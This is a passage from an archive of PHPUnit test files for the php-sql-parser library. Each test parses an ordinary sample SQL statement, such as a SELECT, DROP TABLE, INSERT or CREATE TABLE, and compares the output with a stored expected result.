use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue38Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue38() {


        $sql = "SELECT * FROM `table` `t` WHERE ( ( UNIX_TIMESTAMP() + 3600 ) > `t`.`expires` ) ";
        $parser = new PHPSQLParser();
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue38.serialized');
        $this->assertEquals($expected, $p, 'function within WHERE and quoted table + quoted columns');

    }
}

PK     \*V    ?  vendor/greenlion/php-sql-parser/tests/cases/parser/dropTest.phpnu [        <?php
/**
 * drop.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class dropTest extends \PHPUnit\Framework\TestCase {
	
    public function testDrop() {
        $parser = new PHPSQLParser();

        $sql = "drop table if exists xyz cascade";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'drop.serialized');
        $this->assertEquals($expected, $p, 'drop table statement');

    }
}

PK     \
  
  A  vendor/greenlion/php-sql-parser/tests/cases/parser/manualTest.phpnu [        <?php
/**
 * manual.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\exceptions\UnableToCalculatePositionException;


class manualTest extends \PHPUnit\Framework\TestCase {
	
    public function testManual() {
        // that is an issue written as comment into the ParserManual...
        $sql = "SELECT FROM some_table a LEFT JOIN another_table AS b ON FIND_IN_SET(a.id, b.ids_collection)";

        try {
        	$parser = new PHPSQLParser($sql, true);
        } catch (UnableToCalculatePositionException $e) {
            echo $e->getMessage();
        }

        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'manual.serialized');
        $this->assertEquals($expected, $p, 'no select expression');

    }
}

PK     \҅Y7	  	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue97Test.phpnu [        <?php
/**
 * issue97.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue97Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue97() {


        $sql = "select webid, floor(iz/2.) as fl from MDR1.Tweb512 as w where w.webid < 100";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue97.serialized');
        $this->assertEquals($expected, $p, 'incomplete floating point numbers');

    }
}

PK     \(	  (	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue11Test.phpnu [        <?php
/**
 * issue11.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue11Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue11() {


        $test    = str_repeat('0', 18000);
        $query  = "UPDATE club SET logo='$test' WHERE id=1";
         
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $expected = getExpectedValue(dirname(__FILE__), 'issue11.serialized');
        $this->assertEquals($expected, $p, 'very long statement');

    }
}

PK     \nM    F  vendor/greenlion/php-sql-parser/tests/cases/parser/issue_git24Test.phpnu [        <?php

/**
 * issue_git24Test.php
 *
 * Test case for PHPSQLParser from issue #11 of GitHub.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2015 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2015 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;

use PHPSQLParser\PHPSQLParser;

class IssueGit24TestTest extends \PHPSQLParser\Test\AbstractTestCase {
	
	public function testIssueGit24() {
		$query = "SELECT * FROM table WHERE id IN(0,-1,-2,-3)";
		$p = $this->parser->parse ( $query );
		$expected = getExpectedValue ( dirname ( __FILE__ ), 'issue_git24.serialized' );
		$this->assertEquals ( $expected, $p, 'negative integers within IN()' );
	}
}
?>
PK     \Q3.
  .
  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue108Test.phpnu [        <?php
/**
 * issue108.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\utils\ExpressionType;


class issue108Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue108() {
        try {
            $sql = "CREATE TABLE IF NOT EXISTS `engine4_urdemo_causebug` (
          `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
          `extra` int(11)  NOT NULL DEFAULT 56,
          PRIMARY KEY (`id`),
          INDEX client_idx (id)
        ) ENGINE=InnoDB;";
            $parser = new PHPSQLParser($sql, true);
            $p = $parser->parsed;
        } catch (\Exception $e) {
            $p = array();
        }

        $this->assertSame(ExpressionType::INDEX, $p['TABLE']['create-def']['sub_tree'][3]['expr_type'], 'position calculation should handle INDEX');
    }
}

PK     \!7	  7	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue90Test.phpnu [        <?php
/**
 * issue90.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue90Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue90() {


        $sql = 'INSERT DELAYED IGNORE INTO table (a,b,c) VALUES (1,2,3) ON DUPLICATE KEY UPDATE id=LAST_INSERT_ID(id), c=3;';
        $parser = new PHPSQLParser();
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'issue90.serialized');
        $this->assertEquals($expected, $p, 'on duplicate key problem');

    }
}

PK     \2fQ	  	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue61Test.phpnu [        <?php
/**
 * issue61.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue61Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue61() {


        $sql = "SELECT lcase(dummy.b) FROM dummy ORDER BY dummy.a, LCASE(dummy.b)";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue61.serialized');
        $this->assertEquals($expected, $p, 'functions/expressions within ORDER-BY');

    }
}

PK     \a    B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue91Test.phpnu [        <?php
/**
 * issue91.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue91Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue91() {


        $sql = 'SELECT DISTINCT colA * colB From test t';
        $parser = new PHPSQLParser();
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'issue91.serialized');
        $this->assertEquals($expected, $p, 'distinct select');

    }
}

PK     \(/	  	  G  vendor/greenlion/php-sql-parser/tests/cases/parser/issue_git183Test.phpnu [        <?php

/**
 * issue_git183Test.php
 *
 * Test case for PHPSQLParser from issue #183 of GitHub.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2015 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;

use PHPSQLParser\PHPSQLParser;

class IssueGit183TestTest extends \PHPSQLParser\Test\AbstractTestCase {
	
	public function testIssueGit183() {
		$query = "SELECT *
FROM SC_CATALOG_DETAIL_REG CD
INNER JOIN MASTER_ITEM_LOOKUP IL
ON to_number( CD.STYLE ) = to_number( IL.SKU_NUM )
				";
		$parser = new PHPSQLParser ();
		$parser->addCustomFunction("to_number");
		$p = $parser->parse ( $query, true );
		$expected = getExpectedValue ( dirname ( __FILE__ ), 'issue_git183.serialized' );
		$this->assertEquals ( $expected, $p, "Oracle\'s to_number");
	}
}
?>
PK     \	  	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue39Test.phpnu [        <?php
/**
 * issue39.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue39Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue39() {


        $parser = new PHPSQLParser();

        $sql = "SELECT COUNT(DISTINCT bla) FROM foo";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue39.serialized');
        $this->assertEquals($expected, $p, 'count(distinct x)');

    }
}

PK     \t(;  ;  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue33Test.phpnu [        <?php
/**
 * issue33Test.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
